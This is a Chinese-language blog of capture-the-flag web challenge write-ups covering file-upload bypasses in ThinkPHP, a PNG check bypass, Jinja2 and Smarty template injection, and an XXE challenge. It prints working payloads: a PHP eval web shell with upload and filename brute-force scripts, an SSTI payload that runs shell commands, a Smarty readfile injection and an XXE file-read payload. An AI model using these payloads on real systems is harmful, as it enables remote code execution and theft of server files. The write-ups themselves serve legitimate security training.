写在前面
接下来准备挑一些历年大赛中文件上传类型的题来练,学习一些新的套路
[RoarCTF 2019]Simple Upload
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload();
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
审计,首先检测并且过滤.php
文件的上传,然后$upload->allowExts
是错误的写法,所以设置的附件上传类型检测无效,$upload->upload()
调用上传函数时不带参数为多文件上传,整个$_FILES['file']
数组的文件都会被上传,可以利用这一点绕过对.php
的检测,但是传上去后无法显示 php
文件的文件名
查开发手册得知 Think PHP 开发时,文件上传的路径是home/index/upload
,需要在路径前面加上index.php
因为 Think PHP 是单文件入口,我理解为子目录都在index.php
路由下
上传后文件名字由uniqid
函数随机生成,该函数根据时间生成,用脚本批量上传文件后得到正常的文件名字后,可以爆破出 php 文件名字
import time
import requests
# 获取正常上传后文件路径名
url = 'http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('L:\\Users\\C1everF0x\\Desktop\\1.txt','r')}
file2 = {'file[]':open('L:\\Users\\C1everF0x\\Desktop\\1.php','r')}
file3 = {'file':open('L:\\Users\\C1everF0x\\Desktop\\1.txt','r')}
r=requests.post(url,files=file1)
print(r.text)
r=requests.post(url,files=file2)
print(r.text)
r=requests.post(url,files=file3)
print(r.text)
# 爆破
dir='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
for j in dir:
for x in dir:
for y in dir:
for z in dir:
url='http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/Public/Uploads/2021-03-03/603f9788{}{}{}{}{}.php'.format(i,j,x,y,z)
r = requests.get(url)
# print(url)
time.sleep(2)
if r.status_code== 200:
print(url)
break
由于 BUU 平台原因爆破的时候很容易掉线
非预期解:.<>php
可以绕过检测
import requests
url = "http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_POST['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)
访问马的页面直接出 flag
参考资料
[HarekazeCTF2019]Avatar Uploader 1
题目给了源码
https://github.com/TeamHarekaze/HarekazeCTF2019-challenges/tree/master/avatar_uploader_1/server
upload.php
里有对文件检测的具体代码
<?php
error_reporting(0);
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}
// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}
// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);
$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');
有两个 check 函数,一个用finfo_file
函数检查文件类型,要求文件是 png,另一个用getimagesize
函数检查文件的长宽,函数返回一个数组,要求文件又不是 png ,绕过getimagesize
可拿到 flag
关于两个函数如何检测文件是否为 png:
finfo_file
:打开文件,检测文件幻数是否为 png 的文件头格式
getimagesize
:通过返回的数组的第三个索引值是否为 3 来判断是否为 png
例如:
Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)
- 索引 0 给出的是图像宽度的像素值
- 索引 1 给出的是图像高度的像素值
- 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
- 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的
标签 - 索引 bits 给出的是图像的每种颜色的位数,二进制格式
- 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
- 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header("Content-type: image/jpeg");
截取一个 png 文件的十六进制头,上传文件拿到 flag
[BJDCTF 2nd]fake google
源码中有提示<!--ssssssti & a little trick -->
,用经典老图测试出来是 jinja2 的 ssti
通用 payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].eval("__import__(‘os‘).popen(‘<command>‘).read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
拿到 flag
[CISCN2019 华东南赛区]Web11
页面有一句Build With Smarty !
,猜测是 smarty 的模板注入,跟 ip 有关,猜测注入点是 xff 头
参考资料
模板中的{if}
标签中可以执行全部的 php 函数
payload:
x-forwarded-for: {if readfile('/flag')}{/if}
# 其他的读文件命令也行,cat、var_dump、echo等
2021.3.7
跟学长接了一个项目做,项目做完之前每日一题随缘更新,希望能从中学到新东西
[CSAWQual 2019]Web_Unagi
XXE 的题目,有 slampe.xml
样本,about.php
里面有提示Flag is located at /flag, come get it
xml 文件内容是常规的 XXE payload,但是有 waf ,可以 utf-8
转 utf-16
来绕过
<?xml version='1.0'?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email> s
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
传上去拿到 flag